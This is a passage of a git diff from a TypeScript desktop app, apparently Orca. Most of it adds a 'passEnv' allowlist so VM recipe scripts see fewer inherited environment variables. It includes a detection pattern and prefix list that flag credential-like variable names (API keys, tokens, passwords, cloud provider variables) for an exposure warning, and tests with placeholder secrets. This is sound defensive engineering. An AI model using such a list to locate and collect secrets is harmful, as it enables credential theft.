   'browser.tabShow',
+  'browser.tabAnnotations',
   'browser.tabSwitch',
   'browser.tabCreate',
   'browser.tabClose',
@@ -144,3 +148,22 @@ export const DesktopBrowserBridgeResultParams = z.discriminatedUnion('ok', [
   })
 ])
 export type DesktopBrowserBridgeResultParams = z.infer<typeof DesktopBrowserBridgeResultParams>
+
+// Routed tabs can still display local files; those remain off-limits to hosts.
+// Allow chrome-error: so hosts can navigate away from failed loads.
+const HOST_REACHABLE_DOCUMENT_PROTOCOLS = new Set([
+  'http:',
+  'https:',
+  'about:',
+  'blob:',
+  'data:',
+  'chrome-error:'
+])
+
+export function isHostReachableDocument(url: string): boolean {
+  try {
+    return HOST_REACHABLE_DOCUMENT_PROTOCOLS.has(new URL(url).protocol)
+  } catch {
+    return url === ''
+  }
+}
diff --git a/src/shared/ephemeral-vm-recipe-env.test.ts b/src/shared/ephemeral-vm-recipe-env.test.ts
new file mode 100644
index 00000000000..2f1262c0002
--- /dev/null
+++ b/src/shared/ephemeral-vm-recipe-env.test.ts
@@ -0,0 +1,196 @@
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import {
+  buildRecipeInheritedEnv,
+  isCredentialLikeEnvName,
+  isRecipeEnvNamePassed,
+  listCredentialLikeEnvNames,
+  parseRecipePassEnv
+} from './ephemeral-vm-recipe-env'
+import { runRecipeCommand } from './ephemeral-vm-recipe-process'
+import { parseOrcaYaml } from './orca-yaml'
+
+const tmpRoots: string[] = []
+afterEach(() => {
+  vi.unstubAllEnvs()
+  for (const root of tmpRoots.splice(0)) {
+    rmSync(root, { recursive: true, force: true })
+  }
+})
+
+describe('isCredentialLikeEnvName', () => {
+  it.each([
+    'ANTHROPIC_API_KEY',
+    'OPENAI_API_KEY',
+    'GITHUB_TOKEN',
+    'GH_TOKEN',
+    'NPM_TOKEN',
+    'STRIPE_SECRET',
+    'DB_PASSWORD',
+    'AWS_ACCESS_KEY_ID',
+    'AWS_PROFILE',
+    'GOOGLE_APPLICATION_CREDENTIALS',
+    'AZURE_CLIENT_SECRET',
+    'github_pat',
+    'SSH_AUTH_SOCK'
+  ])('flags %s', (name) => {
+    expect(isCredentialLikeEnvName(name)).toBe(true)
+  })
+
+  it.each([
+    'PATH',
+    'HOME',
+    'SHELL',
+    'LANG',
+    'KEYCHAIN_PATH',
+    'TERM_PROGRAM',
+    'NODE_ENV',
+    'TOKENIZERS'
+  ])('does not flag %s', (name) => {
+    expect(isCredentialLikeEnvName(name)).toBe(false)
+  })
+})
+
+describe('isRecipeEnvNamePassed', () => {
+  it('passes everything when passEnv is not set', () => {
+    expect(isRecipeEnvNamePassed('OPENAI_API_KEY', undefined)).toBe(true)
+  })
+
+  it('passes the base set, exact names and trailing-* prefixes', () => {
+    const passEnv = ['GH_TOKEN', 'CLOUDSDK_*']
+    expect(isRecipeEnvNamePassed('PATH', passEnv, 'linux')).toBe(true)
+    expect(isRecipeEnvNamePassed('LC_MESSAGES', passEnv, 'linux')).toBe(true)
+    expect(isRecipeEnvNamePassed('GH_TOKEN', passEnv, 'linux')).toBe(true)
+    expect(isRecipeEnvNamePassed('CLOUDSDK_CORE_PROJECT', passEnv, 'linux')).toBe(true)
+    expect(isRecipeEnvNamePassed('GITHUB_TOKEN', passEnv, 'linux')).toBe(false)
+    expect(isRecipeEnvNamePassed('gh_token', passEnv, 'linux')).toBe(false)
+    expect(isRecipeEnvNamePassed('path', passEnv, 'linux')).toBe(false)
+  })
+
+  it('matches names case-insensitively on Windows', () => {
+    expect(isRecipeEnvNamePassed('Path', [], 'win32')).toBe(true)
+    expect(isRecipeEnvNamePassed('SystemRoot', [], 'win32')).toBe(true)
+    expect(isRecipeEnvNamePassed('gh_token', ['GH_TOKEN'], 'win32')).toBe(true)
+  })
+})
+
+describe('buildRecipeInheritedEnv', () => {
+  const source = {
+    PATH: '/usr/bin',
+    HOME: '/home/me',
+    OPENAI_API_KEY: 'sk-x',
+    GH_TOKEN: 'gh-x',
+    AWS_REGION: 'us-east-1'
+  }
+
+  it('copies the full environment without passEnv', () => {
+    expect(buildRecipeInheritedEnv(source, undefined, 'linux')).toEqual(source)
+  })
+
+  it('keeps only the base set and listed names with passEnv', () => {
+    expect(buildRecipeInheritedEnv(source, ['GH_TOKEN', 'AWS_*'], 'linux')).toEqual({
+      PATH: '/usr/bin',
+      HOME: '/home/me',
+      GH_TOKEN: 'gh-x',
+      AWS_REGION: 'us-east-1'
+    })
+    expect(buildRecipeInheritedEnv(source, [], 'linux')).toEqual({
+      PATH: '/usr/bin',
+      HOME: '/home/me'
+    })
+  })
+})
+
+describe('listCredentialLikeEnvNames', () => {
+  it('returns sorted names with values, never values', () => {
+    expect(
+      listCredentialLikeEnvNames({
+        PATH: '/usr/bin',
+        OPENAI_API_KEY: 'sk-x',
+        EMPTY_TOKEN: '',
+        ANTHROPIC_API_KEY: 'sk-y'
+      })
+    ).toEqual(['ANTHROPIC_API_KEY', 'OPENAI_API_KEY'])
+  })
+})
+
+describe('parseRecipePassEnv', () => {
+  it('accepts names and prefixes, dropping duplicates', () => {
+    expect(parseRecipePassEnv(['GH_TOKEN', ' AWS_* ', 'GH_TOKEN'])).toEqual(['GH_TOKEN', 'AWS_*'])
+    expect(parseRecipePassEnv([])).toEqual([])
+  })
+
+  it.each([['GH_TOKEN=x'], 'GH_TOKEN', [1], ['A*B'], ['']])('rejects %j', (value) => {
+    expect(parseRecipePassEnv(value)).toBeNull()
+  })
+})
+
+describe('orca.yaml passEnv', () => {
+  const recipeYaml = (passEnv: string): string =>
+    [
+      'environmentRecipes:',
+      '  - id: remote-vm',
+      '    name: Remote VM',
+      '    create: ./create.sh',
+      ...(passEnv ? [`    passEnv: ${passEnv}`] : [])
+    ].join('\n')
+
+  it('parses a passEnv list onto the recipe', () => {
+    expect(parseOrcaYaml(recipeYaml('[GH_TOKEN, "AWS_*"]'))?.environmentRecipes).toEqual([
+      {
+        id: 'remote-vm',
+        name: 'Remote VM',
+        create: './create.sh',
+        passEnv: ['GH_TOKEN', 'AWS_*']
+      }
+    ])
+  })
+
+  it('leaves passEnv unset when omitted', () => {
+    expect(parseOrcaYaml(recipeYaml(''))?.environmentRecipes?.[0]).not.toHaveProperty('passEnv')
+  })
+
+  it('keeps a recipe with a malformed passEnv but limits it to the base environment', () => {
+    const hooks = parseOrcaYaml(recipeYaml('GH_TOKEN'))
+    expect(hooks?.environmentRecipes?.[0]?.passEnv).toEqual([])
+    expect(hooks?.environmentRecipeDiagnostics).toEqual([
+      expect.objectContaining({ index: 0, field: 'passEnv' })
+    ])
+  })
+})
+
+describe('runRecipeCommand passEnv', () => {
+  async function runAndReadEnv(passEnv?: string[]): Promise<Record<string, string>> {
+    const repoPath = mkdtempSync(join(tmpdir(), 'orca-vm-recipe-env-'))
+    tmpRoots.push(repoPath)
+    const scriptPath = join(repoPath, 'print-env.js')
+    writeFileSync(scriptPath, 'process.stdout.write(JSON.stringify(process.env))\n')
+    const result = await runRecipeCommand({
+      command: `"${process.execPath}" "${scriptPath}"`,
+      repoPath,
+      context: { recipeId: 'remote-vm', repoPath },
+      mode: 'create',
+      resultSchemaVersion: 1,
+      ...(passEnv ? { passEnv } : {})
+    })
+    expect(result.exitCode).toBe(0)
+    return JSON.parse(result.stdout)
+  }
+
+  it('passes the full environment by default and only the allowlist with passEnv', async () => {
+    vi.stubEnv('ORCA_TEST_RECIPE_API_KEY', 'secret-value')
+    vi.stubEnv('ORCA_TEST_RECIPE_ALLOWED', 'allowed-value')
+
+    const full = await runAndReadEnv()
+    expect(full.ORCA_TEST_RECIPE_API_KEY).toBe('secret-value')
+
+    const limited = await runAndReadEnv(['ORCA_TEST_RECIPE_ALLOWED'])
+    expect(limited.ORCA_TEST_RECIPE_API_KEY).toBeUndefined()
+    expect(limited.ORCA_TEST_RECIPE_ALLOWED).toBe('allowed-value')
+    // Orca's own recipe variables are always set.
+    expect(limited.ORCA_VM_MODE).toBe('create')
+    expect(limited.ORCA_RECIPE_ID).toBe('remote-vm')
+  })
+})
diff --git a/src/shared/ephemeral-vm-recipe-env.ts b/src/shared/ephemeral-vm-recipe-env.ts
new file mode 100644
index 00000000000..0f4f7bf5ec5
--- /dev/null
+++ b/src/shared/ephemeral-vm-recipe-env.ts
@@ -0,0 +1,125 @@
+// Recipe scripts run locally and inherit Orca's environment. These helpers let a recipe opt into a
+// narrower environment (`passEnv`) and let the UI name the credential-like variables a recipe sees.
+
+/** Variables every recipe keeps even with `passEnv`, so shells and provider CLIs still start. */
+export const RECIPE_BASE_ENV_NAMES: readonly string[] = [
+  'PATH',
+  'HOME',
+  'USER',
+  'LOGNAME',
+  'SHELL',
+  'LANG',
+  'LANGUAGE',
+  'LC_ALL',
+  'LC_CTYPE',
+  'TERM',
+  'TZ',
+  'TMPDIR',
+  'TEMP',
+  'TMP',
+  'XDG_CONFIG_HOME',
+  'XDG_CACHE_HOME',
+  'XDG_DATA_HOME',
+  'XDG_RUNTIME_DIR',
+  // Windows: cmd.exe and most CLIs fail to start without these.
+  'SYSTEMROOT',
+  'SYSTEMDRIVE',
+  'WINDIR',
+  'COMSPEC',
+  'PATHEXT',
+  'USERPROFILE',
+  'USERNAME',
+  'HOMEDRIVE',
+  'HOMEPATH',
+  'APPDATA',
+  'LOCALAPPDATA',
+  'PROGRAMDATA',
+  'PROGRAMFILES',
+  'PROGRAMFILES(X86)',
+  'COMMONPROGRAMFILES',
+  'OS',
+  'PROCESSOR_ARCHITECTURE',
+  'NUMBER_OF_PROCESSORS'
+]
+
+const BASE_ENV_NAME_SET = new Set(RECIPE_BASE_ENV_NAMES)
+
+const CREDENTIAL_ENV_NAME_PATTERN =
+  /(^|_)(API_?KEY|KEY|TOKEN|SECRET|PASSWORD|PASSWD|PASS|CREDENTIALS?|AUTH|PAT)(_|$)/
+
+const CREDENTIAL_ENV_PREFIXES = ['AWS_', 'AZURE_', 'GOOGLE_', 'GCLOUD_', 'CLOUDSDK_AUTH_']
+
+// Windows env names are case-insensitive; everywhere else they are exact.
+function normalizeEnvName(name: string, platform: NodeJS.Platform): string {
+  return platform === 'win32' ? name.toUpperCase() : name
+}
+
+/** Names only; a positive match means "show this name in the exposure warning", never its value. */
+export function isCredentialLikeEnvName(name: string): boolean {
+  const upper = name.toUpperCase()
+  return (
+    CREDENTIAL_ENV_NAME_PATTERN.test(upper) ||
+    CREDENTIAL_ENV_PREFIXES.some((prefix) => upper.startsWith(prefix))
+  )
+}
+
+/** `passEnv` entries are exact names or a prefix ending in `*` (e.g. `AWS_*`). */
+export function isRecipeEnvNamePassed(
+  name: string,
+  passEnv: readonly string[] | undefined,
+  platform: NodeJS.Platform = process.platform
+): boolean {
+  if (!passEnv) {
+    return true
+  }
+  const target = normalizeEnvName(name, platform)
+  // On Windows this is case-insensitive so `Path`/`SystemRoot` survive.
+  if (BASE_ENV_NAME_SET.has(target) || target.startsWith('LC_')) {
+    return true
+  }
+  return passEnv.some((entry) => {
+    const pattern = normalizeEnvName(entry, platform)
+    return pattern.endsWith('*') ? target.startsWith(pattern.slice(0, -1)) : target === pattern
+  })
+}
+
+/** The inherited part of a recipe script's environment. */
+export function buildRecipeInheritedEnv(
+  source: NodeJS.ProcessEnv,
+  passEnv: readonly string[] | undefined,
+  platform: NodeJS.Platform = process.platform
+): NodeJS.ProcessEnv {
+  if (!passEnv) {
+    return { ...source }
+  }
+  const env: NodeJS.ProcessEnv = {}
+  for (const [name, value] of Object.entries(source)) {
+    if (value !== undefined && isRecipeEnvNamePassed(name, passEnv, platform)) {
+      env[name] = value
+    }
+  }
+  return env
+}
+
+/** Sorted credential-like names with a non-empty value in `source`. Never returns values. */
+export function listCredentialLikeEnvNames(source: NodeJS.ProcessEnv): string[] {
+  return Object.entries(source)
+    .filter(([name, value]) => Boolean(value) && isCredentialLikeEnvName(name))
+    .map(([name]) => name)
+    .sort((a, b) => a.localeCompare(b))
+}
+
+/** Parse an orca.yaml `passEnv` list. Returns null when the value is malformed. */
+export function parseRecipePassEnv(value: unknown): string[] | null {
+  if (!Array.isArray(value)) {
+    return null
+  }
+  const names: string[] = []
+  for (const entry of value) {
+    if (typeof entry !== 'string' || !/^[A-Za-z_][A-Za-z0-9_()]*\*?$/.test(entry.trim())) {
+      return null
+    }
+    names.push(entry.trim())
+  }
+  return [...new Set(names)]
+}
diff --git a/src/shared/ephemeral-vm-recipe-process.test.ts b/src/shared/ephemeral-vm-recipe-process.test.ts
index 4b05597d673..e2841ead114 100644
--- a/src/shared/ephemeral-vm-recipe-process.test.ts
+++ b/src/shared/ephemeral-vm-recipe-process.test.ts
@@ -1,16 +1,15 @@
-import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from './testing/remove-temp-dirs.test-support'
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import { runRecipeCommand } from './ephemeral-vm-recipe-process'
 
 const tmpRoots: string[] = []
 
-afterEach(() => {
+afterEach(async () => {
   vi.useRealTimers()
-  for (const root of tmpRoots.splice(0)) {
-    rmSync(root, { recursive: true, force: true })
-  }
+  await removeTempDirs(tmpRoots.splice(0))
 })
 
 function makeRepo(): string {
diff --git a/src/shared/ephemeral-vm-recipe-process.ts b/src/shared/ephemeral-vm-recipe-process.ts
index 21d9d972f87..07b425bbd2f 100644
--- a/src/shared/ephemeral-vm-recipe-process.ts
+++ b/src/shared/ephemeral-vm-recipe-process.ts
@@ -2,6 +2,7 @@ import { quoteCmdDoubleQuoted, quotePosixShell } from './shell/launch/shell-argu
 import { spawn, type ChildProcessWithoutNullStreams } from 'node:child_process'
 import { StringDecoder } from 'node:string_decoder'
 import type { EphemeralVmRecipeContext } from './ephemeral-vm-recipe-runner'
+import { buildRecipeInheritedEnv } from './ephemeral-vm-recipe-env'
 import { admitProcessTreeKill } from '@orca/process-host/process-tree-kill-gate'
 import { GrowingByteBuffer } from '@orca/process-host/growing-byte-buffer'
 
@@ -33,6 +34,8 @@ export async function runRecipeCommand(args: {
   resultSchemaVersion: 1 | 2
   stdin?: string
   env?: NodeJS.ProcessEnv
+  /** When set, only these (plus a safe base set) of Orca's own variables reach the script. */
+  passEnv?: readonly string[]
   maxCaptureBytes?: number
   signal?: AbortSignal
   /** Wall-clock limit; on expiry the process tree is stopped like a cancel and the result has timedOut. */
@@ -53,10 +56,11 @@ export async function runRecipeCommand(args: {
   return new Promise((resolve, reject) => {
     let child: ChildProcessWithoutNullStreams
     try {
+      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: spawn without a stdio option always pipes stdin/stdout/stderr.
       child = spawnCommand(args.command, {
         cwd: args.repoPath,
         detached: process.platform !== 'win32',
-        env: buildRecipeEnv(args.env, args.mode, args.context, args.resultSchemaVersion),
+        env: buildRecipeEnv(args, args.mode, args.context, args.resultSchemaVersion),
         shell: true,
         windowsHide: true
       }) as ChildProcessWithoutNullStreams
@@ -247,13 +251,14 @@ export function killRecipeProcess(child: ChildProcessWithoutNullStreams, force =
 }
 
 function buildRecipeEnv(
-  env: NodeJS.ProcessEnv | undefined,
+  { env, passEnv }: { env?: NodeJS.ProcessEnv; passEnv?: readonly string[] },
   mode: 'create' | 'suspend' | 'resume' | 'destroy',
   context: EphemeralVmRecipeContext,
   resultSchemaVersion: 1 | 2
 ): NodeJS.ProcessEnv {
   return {
-    ...process.env,
+    // Why: without passEnv recipes keep inheriting everything; provider CLIs and git auth rely on it.
+    ...buildRecipeInheritedEnv(process.env, passEnv),
     ...env,
     ORCA_VM_MODE: mode,
     ORCA_VM_INSTANCE_ID: context.instanceId ?? '',
diff --git a/src/shared/ephemeral-vm-recipe-step.ts b/src/shared/ephemeral-vm-recipe-step.ts
index d3be4316814..c3674e86616 100644
--- a/src/shared/ephemeral-vm-recipe-step.ts
+++ b/src/shared/ephemeral-vm-recipe-step.ts
@@ -40,6 +40,7 @@ export function runRecipeStep(
     resultSchemaVersion: getEphemeralVmRecipeResultSchemaVersion(args.recipe),
     ...(stdin === undefined ? {} : { stdin }),
     env: args.env,
+    ...(args.recipe.passEnv ? { passEnv: args.recipe.passEnv } : {}),
     maxCaptureBytes: args.maxCaptureBytes,
     signal: args.signal,
     onSpawn: args.onSpawn,
diff --git a/src/shared/ephemeral-vm-recipe-timeouts.ts b/src/shared/ephemeral-vm-recipe-timeouts.ts
index 344c256f1b6..92b6f3c5e34 100644
--- a/src/shared/ephemeral-vm-recipe-timeouts.ts
+++ b/src/shared/ephemeral-vm-recipe-timeouts.ts
@@ -25,12 +25,12 @@ export function getEphemeralVmRecipeTimeoutSeconds(
 }
 
 /** Runtime records keep a recipe snapshot under a strict schema that current and older builds
- * share, so the snapshot never carries timeoutSeconds; lifecycle calls re-read the limit from
- * the repo's orca.yaml instead (see getRuntimeRecipeContext). */
+ * share, so the snapshot never carries timeoutSeconds or passEnv; lifecycle calls re-read them
+ * from the repo's orca.yaml instead (see getRuntimeRecipeContext). */
 export function toEphemeralVmRuntimeRecipeSnapshot(
   recipe: OrcaVmRecipe
-): Omit<OrcaVmRecipe, 'timeoutSeconds'> {
-  const { timeoutSeconds: _timeoutSeconds, ...snapshot } = recipe
+): Omit<OrcaVmRecipe, 'timeoutSeconds' | 'passEnv'> {
+  const { timeoutSeconds: _timeoutSeconds, passEnv: _passEnv, ...snapshot } = recipe
   return snapshot
 }
 
diff --git a/src/shared/ephemeral-vm-runtime-store-rollback.test.ts b/src/shared/ephemeral-vm-runtime-store-rollback.test.ts
index c325c49e8ce..a87826f02eb 100644
--- a/src/shared/ephemeral-vm-runtime-store-rollback.test.ts
+++ b/src/shared/ephemeral-vm-runtime-store-rollback.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, readFileSync, rmSync, truncateSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readFileSync, truncateSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from './testing/remove-temp-dirs.test-support'
 import { afterEach, describe, expect, it } from 'vitest'
 import {
   getEphemeralVmRuntimeFeatureStorePath,
@@ -89,10 +90,8 @@ function provisionedRootRecord(): EphemeralVmRuntimeRecord {
 describe('ephemeral VM runtime store rollback projection', () => {
   const tempDirs: string[] = []
 
-  afterEach(() => {
-    for (const dir of tempDirs.splice(0)) {
-      rmSync(dir, { recursive: true, force: true })
-    }
+  afterEach(async () => {
+    await removeTempDirs(tempDirs.splice(0))
   })
 
   function makeUserDataPath(): string {
diff --git a/src/shared/ephemeral-vm-runtime-store.test.ts b/src/shared/ephemeral-vm-runtime-store.test.ts
index 0cba187c892..e3972012f8f 100644
--- a/src/shared/ephemeral-vm-runtime-store.test.ts
+++ b/src/shared/ephemeral-vm-runtime-store.test.ts
@@ -1,7 +1,8 @@
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
-import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { removeTempDirs } from './testing/remove-temp-dirs.test-support'
+import { afterEach, describe, expect, it } from 'vitest'
 import { encodePairingOffer } from './remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from './remote-runtime/pairing/mobile-relay-pairing-offer'
 import {
@@ -47,20 +48,9 @@ function runtimeRecord(
 
 describe('ephemeral VM runtime store', () => {
   const tempDirs: string[] = []
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
 
-  beforeEach(() => {
-    // Why: secure-file has dedicated ACL coverage; this suite focuses on store semantics.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
-  })
-
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-    for (const dir of tempDirs.splice(0)) {
-      rmSync(dir, { recursive: true, force: true })
-    }
+  afterEach(async () => {
+    await removeTempDirs(tempDirs.splice(0))
   })
 
   function makeUserDataPath(): string {
diff --git a/src/shared/execution-host/execution-host-registry-entry.ts b/src/shared/execution-host/execution-host-registry-entry.ts
index 26c20fca902..4bf34d05c8a 100644
--- a/src/shared/execution-host/execution-host-registry-entry.ts
+++ b/src/shared/execution-host/execution-host-registry-entry.ts
@@ -14,6 +14,7 @@ export type ExecutionHostRegistryEntry = {
   id: ExecutionHostId
   kind: ExecutionHostKind
   label: string
+  isDefaultLocalLabel?: boolean
   detail: string
   health: ExecutionHostHealth
   connectionStatus?: SshConnectionStatus
diff --git a/src/shared/execution-host/execution-host-registry.ts b/src/shared/execution-host/execution-host-registry.ts
index deb8e4dacf9..e2d1a66d858 100644
--- a/src/shared/execution-host/execution-host-registry.ts
+++ b/src/shared/execution-host/execution-host-registry.ts
@@ -114,6 +114,7 @@ export function buildExecutionHostRegistry(args: {
   hostLabelOverrides?: ReadonlyMap<ExecutionHostId, string>
   /** Defaults to this process's platform, which only the host itself may use. */
   localHostLabel?: string
+  localHostLabelIsDefault?: boolean
   /** VM runtime records by the server they host; their lifecycle outranks transport health. */
   ephemeralVmHosts?: readonly EphemeralVmHostLifecycle[]
 }): ExecutionHostRegistryEntry[] {
@@ -122,6 +123,7 @@ export function buildExecutionHostRegistry(args: {
     id: LOCAL_EXECUTION_HOST_ID,
     kind: 'local',
     label: args.localHostLabel ?? getLocalExecutionHostLabel(),
+    isDefaultLocalLabel: args.localHostLabelIsDefault ?? args.localHostLabel == null,
     detail: 'This computer',
     health: 'local'
   })
@@ -224,6 +226,8 @@ export function buildExecutionHostRegistry(args: {
     const label =
       overrides.get(host.id) ??
       host.aliasHostIds?.map((aliasHostId) => overrides.get(aliasHostId)).find(Boolean)
-    return label ? { ...host, label } : host
+    return label
+      ? { ...host, label, ...(host.kind === 'local' ? { isDefaultLocalLabel: false } : {}) }
+      : host
   })
 }
diff --git a/src/shared/git/remotes/public-forge-host.ts b/src/shared/git/remotes/public-forge-host.ts
new file mode 100644
index 00000000000..800f9430025
--- /dev/null
+++ b/src/shared/git/remotes/public-forge-host.ts
@@ -0,0 +1,25 @@
+import { foldWwwHostAlias, normalizeForgeWebHost } from './git-remote-host-alias'
+
+type PublicForgeProvider = 'github' | 'gitlab' | 'bitbucket' | 'azure-devops' | 'gitea'
+
+/** Ownership only: callers retain their original endpoint and persisted host identity. */
+export function getPublicForgeProviderForHost(host: string): PublicForgeProvider | null {
+  const hostname = normalizeForgeWebHost(foldWwwHostAlias(host).replace(/:\d+$/, ''))
+  if (hostname === 'github.com' || hostname === 'ghe.com' || hostname.endsWith('.ghe.com')) {
+    return 'github'
+  }
+  if (hostname === 'gitlab.com') {
+    return 'gitlab'
+  }
+  if (hostname === 'bitbucket.org') {
+    return 'bitbucket'
+  }
+  if (
+    hostname === 'dev.azure.com' ||
+    hostname.endsWith('.dev.azure.com') ||
+    hostname.endsWith('.visualstudio.com')
+  ) {
+    return 'azure-devops'
+  }
+  return hostname === 'codeberg.org' ? 'gitea' : null
+}
diff --git a/src/shared/github/pull-request-merge-methods.ts b/src/shared/github/pull-request-merge-methods.ts
index a4230551f7a..c2188275f2a 100644
--- a/src/shared/github/pull-request-merge-methods.ts
+++ b/src/shared/github/pull-request-merge-methods.ts
@@ -2,6 +2,13 @@ import type { GitHubPRMergeMethod, GitHubPRMergeMethodSettings } from './pull-re
 
 export const GITHUB_PR_MERGE_METHODS = ['squash', 'merge', 'rebase'] as const
 
+// Shared by the mobile hosted-review surfaces, whose catalogs carry these keys.
+export const GITHUB_PR_MERGE_METHOD_I18N_KEYS = {
+  squash: 'pullRequest.prActionsState.methodSquash',
+  merge: 'pullRequest.prActionsState.methodMerge',
+  rebase: 'pullRequest.prActionsState.methodRebase'
+} as const
+
 export type GitHubPRMergeMethodPresentation = {
   defaultMethod: GitHubPRMergeMethod
   methods: GitHubPRMergeMethod[]
diff --git a/src/shared/global-settings-types.ts b/src/shared/global-settings-types.ts
index 92baa52f81a..cb2781da828 100644
--- a/src/shared/global-settings-types.ts
+++ b/src/shared/global-settings-types.ts
@@ -251,7 +251,7 @@ export type GlobalSettings = GlobalSettingsBase & {
   showAutomationsButton?: boolean
   /** Deprecated: Artifacts are always available. Use showArtifactsButton for sidebar visibility. */
   artifactsEnabled?: boolean
-  /** Capability gate for agent-driven publishing; off until granted, enforced in main, not just the UI. */
+  /** Capability gate for public artifact publishing; on for new profiles, enforced in main, not just the UI. */
   artifactSharingEnabled?: boolean
   /** Capability gate for agent/CLI skill publishing; manual reviewed publishing remains available. */
   agentSkillSharingEnabled?: boolean
diff --git a/src/shared/mermaid-flowchart-contrast.ts b/src/shared/mermaid-flowchart-contrast.ts
index 3b2662d2c5a..7c5aaae66c9 100644
--- a/src/shared/mermaid-flowchart-contrast.ts
+++ b/src/shared/mermaid-flowchart-contrast.ts
@@ -1,4 +1,4 @@
-const READABLE_CONTRAST = 4.5
+export const READABLE_CONTRAST = 4.5
 
 /** WCAG relative luminance of a `#rrggbb` or opaque `rgb()` colour; null for anything else. */
 function luminance(color: string): number | null {
diff --git a/src/shared/mobile-web-bundle/manifest-contract.ts b/src/shared/mobile-web-bundle/manifest-contract.ts
index 654994733d3..f5d993d1e8c 100644
--- a/src/shared/mobile-web-bundle/manifest-contract.ts
+++ b/src/shared/mobile-web-bundle/manifest-contract.ts
@@ -262,3 +262,19 @@ export const MobileWebBundleManifestSchema = z
   .superRefine(validateManifestInvariants)
 
 export type MobileWebBundleManifest = z.infer<typeof MobileWebBundleManifestSchema>
+
+/** The running host's reader: a newer install updated in place may add schema-v1 fields, which it drops so it serves only what it supports. */
+export const InstalledMobileWebBundleManifestSchema = z
+  .object({
+    ...MobileWebBundleManifestSchema.shape,
+    assets: z
+      .array(z.object(MobileWebBundleAssetSchema.shape))
+      .min(1)
+      .max(MOBILE_WEB_BUNDLE_MAX_ASSETS),
+    routes: z.array(z.object(MobileWebBundleRouteSchema.shape)).max(MOBILE_WEB_BUNDLE_MAX_ROUTES),
+    catalogs: z
+      .array(z.object(MobileWebBundleCatalogSchema.shape))
+      .max(MOBILE_WEB_BUNDLE_MAX_CATALOGS)
+      .optional()
+  })
+  .superRefine(validateManifestInvariants)
diff --git a/src/shared/native-chat/native-chat-generated-image.ts b/src/shared/native-chat/native-chat-generated-image.ts
new file mode 100644
index 00000000000..8ebabd5d0af
--- /dev/null
+++ b/src/shared/native-chat/native-chat-generated-image.ts
@@ -0,0 +1,2 @@
+/** An image the agent made for the user; the turn fold keeps it visible beside the answer. */
+export const NATIVE_CHAT_GENERATED_IMAGE_PRESENTATION = 'generated-image'
diff --git a/src/shared/native-chat/native-chat-inline-data-url.ts b/src/shared/native-chat/native-chat-inline-data-url.ts
new file mode 100644
index 00000000000..c582410d203
--- /dev/null
+++ b/src/shared/native-chat/native-chat-inline-data-url.ts
@@ -0,0 +1,8 @@
+/** Inline image bytes; stay local and out of RPC frames and text exports. */
+export function isInlineDataUrl(value: string): boolean {
+  let schemeStart = 0
+  while (schemeStart < value.length && value.charCodeAt(schemeStart) <= 0x20) {
+    schemeStart += 1
+  }
+  return /^data:/i.test(value.slice(schemeStart))
+}
diff --git a/src/shared/native-chat/native-chat-noise.test.ts b/src/shared/native-chat/native-chat-noise.test.ts
deleted file mode 100644
index 38f13603073..00000000000
--- a/src/shared/native-chat/native-chat-noise.test.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { isNoiseMessage } from './native-chat-noise'
-import type { NativeChatMessage } from './native-chat-types'
-
-function msg(
-  role: NativeChatMessage['role'],
-  text: string,
-  blocks?: NativeChatMessage['blocks']
-): NativeChatMessage {
-  return {
-    id: text.slice(0, 8),
-    role,
-    blocks: blocks ?? [{ type: 'text', text }],
-    timestamp: 0,
-    source: 'transcript'
-  }
-}
-
-describe('isNoiseMessage', () => {
-  it('keeps real user messages', () => {
-    expect(isNoiseMessage(msg('user', 'make it work for codex'))).toBe(false)
-    expect(isNoiseMessage(msg('user', '<bash-brothers> is my band'))).toBe(false)
-  })
-
-  it('keeps assistant, tool, and ordinary system turns', () => {
-    expect(isNoiseMessage(msg('assistant', '<system-reminder> in prose'))).toBe(false)
-    expect(isNoiseMessage(msg('tool', '<system-reminder> in prose'))).toBe(false)
-    expect(isNoiseMessage(msg('system', 'Conversation interrupted'))).toBe(false)
-  })
-
-  it('keeps tool-bearing user turns even when their text looks like harness noise', () => {
-    for (const block of [
-      { type: 'tool-result', output: 'ok' },
-      { type: 'tool-call', name: 'Bash', input: { command: 'ls' } }
-    ] satisfies NativeChatMessage['blocks']) {
-      expect(
-        isNoiseMessage(msg('user', '', [{ type: 'text', text: '<task-notification>done' }, block]))
-      ).toBe(false)
-    }
-  })
-})
diff --git a/src/shared/native-chat/tools/native-chat-diff.test.ts b/src/shared/native-chat/tools/native-chat-diff.test.ts
deleted file mode 100644
index 9f2452a8192..00000000000
--- a/src/shared/native-chat/tools/native-chat-diff.test.ts
+++ /dev/null
@@ -1,13 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { diffFromText } from './native-chat-diff'
-
-describe('diffFromText', () => {
-  it('honors a smaller caller-owned aggregate row budget', () => {
-    const text = Array.from(
-      { length: 100 },
-      (_unused, index) => `${index % 2 === 0 ? '+' : '-'}line-${index}`
-    ).join('\n')
-
-    expect(diffFromText(text, 20)).toHaveLength(20)
-  })
-})
diff --git a/src/shared/native-chat/transcript/native-chat-pending-occurrence.test.ts b/src/shared/native-chat/transcript/native-chat-pending-occurrence.test.ts
index 79ff232a823..2390c2c8dcb 100644
--- a/src/shared/native-chat/transcript/native-chat-pending-occurrence.test.ts
